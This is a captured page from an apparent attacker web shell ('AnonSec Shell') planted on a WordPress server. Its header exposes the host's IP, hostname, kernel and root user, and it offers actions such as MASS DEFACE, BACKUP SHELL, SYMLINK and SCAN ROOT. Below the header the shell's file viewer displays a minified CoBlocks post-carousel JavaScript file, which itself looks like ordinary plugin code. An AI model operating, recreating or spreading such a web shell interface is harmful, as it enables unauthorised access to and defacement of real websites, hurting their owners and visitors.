AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 13.58.134.228   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/coblocks/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/coblocks/dist//411.js
"use strict";(self.webpackChunkcoblocks=self.webpackChunkcoblocks||[]).push([[411],{6411:(e,t,o)=>{o.r(t),o.d(t,{default:()=>I});var l=o(7462),n=o(9307),r=o(4184),s=o.n(r),a=o(2045),c=o(7635),i=o(2819),u=o(5736),d=o(2175),p=o(5609);const m=e=>{const{attributes:t,categoriesList:o,hasPosts:l,postCount:r,setAttributes:s,useUpdatedQueryControls:a}=e,{displayPostContent:c,displayPostDate:i,excerptLength:m,order:g,orderBy:b,postFeedType:_,postsToShow:h,columns:y,categories:k,categoryRelation:E}=t,v=(0,n.createElement)(p.PanelBody,{title:(0,u.__)("Post Carousel settings","coblocks")},(0,n.createElement)(n.Fragment,null,(0,n.createElement)(p.ToggleControl,{label:(0,u.__)("Post date","coblocks"),checked:i,help:i?(0,u.__)("Showing the publish date.","coblocks"):(0,u.__)("Toggle to show the publish date.","coblocks"),onChange:()=>s({displayPostDate:!i})}),(0,n.createElement)(p.ToggleControl,{label:(0,u.__)("Post content","coblocks"),checked:c,help:c?(0,u.__)("Showing the post content.","coblocks"):(0,u.__)("Toggle to show the post content.","coblocks"),onChange:()=>s({displayPostContent:!c})}),c&&(0,n.createElement)(p.RangeControl,{label:(0,u.__)("Max words in content","coblocks"),value:m,onChange:e=>s({excerptLength:e}),min:5,max:75}),(0,n.createElement)(p.RangeControl,{label:(0,u.__)("Columns","coblocks"),value:y,onChange:e=>{var t;s({columns:(t=e)>h?h:t})},min:1,max:Math.min(4,r),required:!0}))),w=(0,n.createElement)(p.QueryControls,{order:g,orderBy:b,categoriesList:o,selectedCategoryId:t.categories,onOrderChange:e=>s({order:e}),onOrderByChange:e=>s({orderBy:e}),onCategoryChange:e=>s({categories:""!==e?e:void 0})});return(0,n.createElement)(d.InspectorControls,null,l?v:null,(0,n.createElement)(p.PanelBody,{title:(0,u.__)("Feed settings","coblocks"),initialOpen:!l},(0,n.createElement)(p.RadioControl,{selected:_,options:[{label:(0,u.__)("My blog","coblocks"),value:"internal"},{label:(0,u.__)("External feed","coblocks"),value:"external"}],onChange:e=>s({postFeedType:e})}),l||k&&(null==k?void 0:k.length)>0?(0,n.createElement)(n.Fragment,null,"internal"===_&&a?(()=>{const e=o.reduce(((e,t)=>({...e,[t.name]:t})),{}),l=o.reduce(((e,t)=>({...e,[t.name]:t})),{});return(0,n.createElement)(p.QueryControls,{order:g,orderBy:b,categorySuggestions:e,selectedCategories:t.categories,onOrderChange:e=>s({order:e}),onOrderByChange:e=>s({orderBy:e}),onCategoryChange:e=>{const t=e.reduce(((e,t)=>{if("string"==typeof t){const o=l[t];o&&e.push(o)}else e.push(t);return e}),[]);s({categories:t}),e.length<2&&s({categoryRelation:"or"})}})})():w,k&&k.length>1&&(0,n.createElement)(p.RadioControl,{label:(0,u.__)("Category relation","coblocks"),help:(0,u.__)("The logical relationship between each category when there is more than one.","coblocks"),selected:E,options:[{label:(0,u.__)("Or","coblocks"),value:"or"},{label:(0,u.__)("And","coblocks"),value:"and"}],onChange:e=>s({categoryRelation:e})}),(0,n.createElement)(p.RangeControl,{label:(0,u.__)("Number of posts","coblocks"),value:h,onChange:e=>(e=>{const t={postsToShow:e};(y>e||1===e&&1!==y)&&Object.assign(t,{columns:e}),s(t)})(e),min:1,max:20})):null))};var g=o(4333),b=o(9818),_=o(9771);const h=(0,g.compose)([(0,b.withSelect)(((e,t)=>{let{clientId:o}=t;return{attributes:e("core/block-editor").getBlockAttributes(o)}}))])((e=>{let{post:t,setAttributes:o,attributes:l}=e;const{excerptLength:r,displayPostLink:a,displayPostDate:c,displayPostContent:i,postLink:m}=l,g=t.featured_media_object?t.featured_media_object.source_url:null,b="url("+g+")",h=t.title.rendered.trim();let y=t.excerpt.rendered;""===t.excerpt.raw&&(y=t.content.raw);const k=document.createElement("div");k.innerHTML=y,y=k.textContent||k.innerText||"";const E=(0,_.__experimentalGetSettings)().formats.date;return(0,n.createElement)("div",{className:"wp-block-coblocks-post-carousel__item"},g&&(0,n.createElement)("div",{className:"wp-block-coblocks-post-carousel__image"},(0,n.createElement)("div",{className:"bg-cover bg-center-center",style:{backgroundImage:b}})),(0,n.createElement)("div",{className:s()("wp-block-coblocks-post-carousel__content",{"full-height":!g})},c&&t.date_gmt&&(0,n.createElement)("time",{className:"wp-block-coblocks-post-carousel__date",dateTime:(0,_.format)("c",t.date_gmt)},(0,_.dateI18n)(E,t.date_gmt)),(0,n.createElement)(p.Disabled,null,(0,n.createElement)("a",{alt:h,href:t.link,rel:"noreferrer noopener",target:"_blank"},h?(0,n.createElement)(n.RawHTML,null,h)
/* translators: placeholder when a post has no title */:(0,u.__)("(no title)","coblocks"))),i&&(0,n.createElement)("div",{className:"wp-block-coblocks-post-carousel__excerpt"},(0,n.createElement)(n.RawHTML,{key:"html"},y.trim().split(" ",r).join(" "))),a&&(0,n.createElement)(d.PlainText,{className:"wp-block-coblocks-post-carousel__more-link",onChange:e=>o({postLink:e}),placeholder:(0,u.__)("Read more","coblocks"),value:m})))}));var y=o(5697),k=o.n(y),E=o(9334),v=o.n(E),w=o(8608),f=o.n(w);const C=e=>{const{list:t,children:o,navigation:l=!1,isDraggable:r=!0,autoPlaySpeed:a=null,pauseHover:c=null,loop:i=!0,onSwipe:u=null,Pagination:d=null,uuid:p=null,slidesPerView:m=1,spaceBetween:b=0,navigationClass:_=null}=e,[h,y]=(0,n.useState)(null),[k,E]=(0,n.useState)(null),[w,C]=(0,n.useState)(!1),P=(0,g.usePrevious)(w),S=(0,g.usePrevious)(a),x=(0,n.useRef)(null);(0,n.useEffect)((()=>{if(!r)return x.current.addEventListener("mousedown",(e=>e.stopPropagation())),()=>{var e;null==x||null===(e=x.current)||void 0===e||e.removeEventListener("mousedown",(e=>e.stopPropagation()))}}),[r]),(0,n.useEffect)((()=>{const e=document.getElementById(p);e&&new ResizeObserver((()=>{null==h||h.update()})).observe(e)}),[h]),(0,n.useEffect)((()=>{try{const e=(()=>{const e=document.querySelector(".edit-site-visual-editor__editor-canvas");return e?e.contentDocument:document})(),t=e.getElementById(p),o=e.getElementById(`${p}-prev`),l=e.getElementById(`${p}-next`),n=new(v())(t,{centeredSlides:!1,freeMode:!1,longSwipesRatio:.8,loop:i,navigation:{nextEl:l,prevEl:o},passiveListeners:!0,plugins:[f()],slidesPerView:m,spaceBetween:b,touchable:!1});u&&n.on("after-slide",u),y(n)}catch(e){console.log("swiper init error",e)}}),[]),(0,n.useEffect)((()=>{!0===w&&!0===c&&null!==a&&clearInterval(k),!1===w&&!0===P&&!0===c&&E(setInterval(R,a)),null===S&&null!==a&&E(setInterval(R,a)),null!==S&&null===a&&clearInterval(k),null!==S&&null!==a&&a!==S&&(clearInterval(k),E(setInterval(R,a)))}),[h,a,S,k,w,c]);const R=(0,n.useCallback)((()=>{null==h||h.slideTo(h.state.index+1)}),[h,w]),T=(0,n.useMemo)((()=>t.map(((e,t)=>(0,n.createElement)("div",{className:"swiper-slide",id:t,key:t},o({index:t,item:e}))))),[r]),L=(0,n.useMemo)((()=>{const e=s()({[`${_}__prev`]:_,"nav-button__prev":!_,"no-navigation":!1===l}),t=s()({[`${_}__next`]:_,"nav-button__next":!_,"no-navigation":!1===l});return(0,n.createElement)(n.Fragment,null,(0,n.createElement)("button",{className:e,id:`${p}-prev`},(0,n.createElement)("svg",{className:"icon",style:{transform:"rotate(180deg)"}})),(0,n.createElement)("button",{className:t,id:`${p}-next`},(0,n.createElement)("svg",{className:"icon"})))}),[l]),B=e=>{null==h||h.slideTo(e)},N=(0,n.useMemo)((()=>{if(d)return d({changeStep:B})}),[d,h]);return(0,n.createElement)("div",{className:"coblocks-swiper-container",onMouseEnter:()=>{!0===c&&null!==k&&C(!0)},onMouseLeave:()=>{!0===c&&null!==k&&C(!1)}},(0,n.createElement)("div",{className:"swiper-container",id:p},(0,n.createElement)("div",{className:"swiper-wrapper",id:"swiper-wrapper",ref:x},T),L),N)};C.propTypes={autoPlaySpeed:k().number.isRequired,children:k().func,isDraggable:k().bool.isRequired,list:k().array,loop:k().bool.isRequired,navigation:k().bool.isRequired,onSwipe:k().func,pauseHover:k().any,slidesPerView:k().number.isRequired,uuid:k().string},C.defaultProps={autoPlaySpeed:null,isDraggable:!0,loop:!0,navigation:!1,slidesPerView:1};const P=e=>{const{list:t,slidesPerView:o,loop:r}=e,s=(0,n.useMemo)((()=>(0,a.Z)()),[t.length,o,r]);return(0,n.createElement)("span",{key:s},(0,n.createElement)(C,(0,l.Z)({uuid:s},e)))};var S=o(6483),x=o(6989),R=o.n(x),T=o(4896),L=o(8423),B=o.n(L);const N={per_page:-1},I=(0,g.compose)([(0,b.withSelect)(((e,t)=>{const{postsToShow:o,order:l,orderBy:n,categories:r,categoryRelation:s}=t.attributes,{getEntityRecords:a,getMedia:c}=e("core"),{getEditorSettings:u,getCurrentPost:d}=e("core/editor"),{isRTL:m}=u(),g=d(),b=p.QueryControls.toString().includes("selectedCategories");return{isRTL:m,latestPosts:b?(()=>{const e=r&&r.length>0?r.map((e=>null==e?void 0:e.id)):[],t=(0,i.pickBy)({categories:e,exclude:g.id,order:l,orderby:n,per_page:"and"===s?"-1":o},(e=>!(0,i.isUndefined)(e)));let u=a("postType","post",t);return"and"===s&&u&&(u=u.filter((t=>(0,i.isEqual)(t.categories.concat().sort(),e.concat().sort()))).slice(0,o)),Array.isArray(u)?u.map((e=>{if(e.featured_media){const t=c(e.featured_media);let o=(0,i.get)(t,["media_details","sizes","source_url"],null);return o||(o=(0,i.get)(t,"source_url",null)),{...e,featuredImageSourceUrl:o}}return e})):u})():(()=>{const t=(0,i.pickBy)({categories:r,exclude:g.id,order:l,orderby:n,per_page:o},(e=>!(0,i.isUndefined)(e)));let s=a("postType","post",t);return s&&(s=s.map((t=>({...t,featured_media_object:t.featured_media&&e("core").getMedia(t.featured_media)})))),s})(),useUpdatedQueryControls:b}}))])((e=>{const{attributes:t,setAttributes:o,latestPosts:r,className:i,clientId:g}=e,{displayPostContent:_,displayPostLink:y,externalRssUrl:k,postFeedType:E,postsToShow:v,columns:w,align:f}=t,[C,x]=(0,n.useState)([]),[L,I]=(0,n.useState)(k),M=(0,n.useMemo)((()=>(0,a.Z)()),[]),{selectBlock:A}=(0,b.useDispatch)("core/block-editor");let F=(0,n.useRef)(!0);(0,n.useEffect)((()=>(R()({path:(0,S.addQueryArgs)("/wp/v2/categories",N)}).then((e=>{F&&x(e)})).catch((()=>{F&&x([])})),()=>{F=!1})),[]),(0,n.useEffect)((()=>{y&&!_&&o({displayPostLink:!1})}),[y,_]),(0,n.useEffect)((()=>{"external"===E&&setTimeout((()=>{const e=document.querySelector(`.wp-block-coblocks-post-carousel-external-container-${M}`),t=e.querySelector(".swiper-wrapper");if(t){t.classList.remove("swiper-wrapper"),t.classList.add("swiper-wrapper-editor");const o=e.querySelector("#wp-coblocks-post-carousel-swiper-prev"),l=e.querySelector("#wp-coblocks-post-carousel-swiper-next");o.style.display="none",l.style.display="none"}}),1e3)}),[t,L,E]);const q=()=>{A(g)},U=[{icon:T.Z,onClick:()=>I(!0),title:(0,u.__)("Edit RSS URL","coblocks")}],D=Array.isArray(r)&&r.length,$=Array.isArray(r)&&r.length>v?r.slice(0,v):r,O=(0,n.useMemo)((()=>1===(null==$?void 0:$.length)?(0,n.createElement)(h,{clientId:g,post:$[0],setAttributes:o}):(0,n.createElement)(n.Fragment,null,(0,n.createElement)("div",{className:s()(i,{[`align${f}`]:f}),onClick:q,onKeyDown:q,role:"button",tabIndex:"0"},(0,n.createElement)(P,{list:$||[],loop:!1,navigation:!0,navigationClass:"wp-coblocks-post-carousel-nav-button",slidesPerView:w,spaceBetween:35},(e=>{let{index:t,item:l}=e;return(0,n.createElement)(h,{clientId:g,key:t,post:l,setAttributes:o})}))))),[w,$]);return D||"internal"!==E?L&&"external"===E?(0,n.createElement)(n.Fragment,null,(0,n.createElement)(m,(0,l.Z)({},e,{attributes:t,categoriesList:C,editing:L,hasPosts:D,postCount:r&&r.length})),(0,n.createElement)(p.Placeholder,{icon:(0,n.createElement)(p.Icon,{icon:c.tPc}),instructions:(0,u.__)("RSS URLs are generally located at the /feed/ directory of a site.","coblocks"),label:(0,u.__)("RSS Feed","coblocks")},(0,n.createElement)("form",{onSubmit:e=>{e.preventDefault(),k&&I(!1)}},(0,n.createElement)(p.TextControl,{className:"components-placeholder__input",onChange:e=>o({externalRssUrl:e}),placeholder:(0,u.__)("https://example.com/feed…","coblocks"),value:k}),(0,n.createElement)(p.Button,{disabled:!k,type:"submit"},(0,u.__)("Use URL","coblocks"))))):(0,n.createElement)(n.Fragment,null,(0,n.createElement)(m,(0,l.Z)({},e,{attributes:t,categoriesList:C,editing:L,hasPosts:D,postCount:r&&r.length})),(0,n.createElement)(d.BlockControls,null,"external"===E&&(0,n.createElement)(p.Toolbar,{controls:U})),"external"===E&&(0,n.createElement)("span",{className:`wp-block-coblocks-post-carousel-external-container-${M}`},(0,n.createElement)(B(),{attributes:t,block:"coblocks/post-carousel",className:"coblocks-slick pb-8"})),"internal"===E&&O):(0,n.createElement)(n.Fragment,null,(0,n.createElement)(m,(0,l.Z)({},e,{attributes:t,categoriesList:C,editing:L,hasPosts:D,postCount:r&&r.length})),(0,n.createElement)(p.Placeholder,{icon:(0,n.createElement)(p.Icon,{icon:c.tPc}),label:(0,u.__)("Post Carousel","coblocks")},Array.isArray(r)?(0,n.createElement)(n.Fragment,null,(0,u.__)("No posts found. Start publishing or add posts from an RSS feed.","coblocks"),(0,n.createElement)(p.Button,{className:"components-placeholder__cancel-button",isSecondary:!0,onClick:()=>{o({postFeedType:"external"})},title:(0,u.__)("Retrieve an external feed","coblocks")},(0,u.__)("Use External Feed","coblocks"))):(0,n.createElement)(p.Spinner,null)))}))}}]);

Anon7 - 2022
AnonSec Team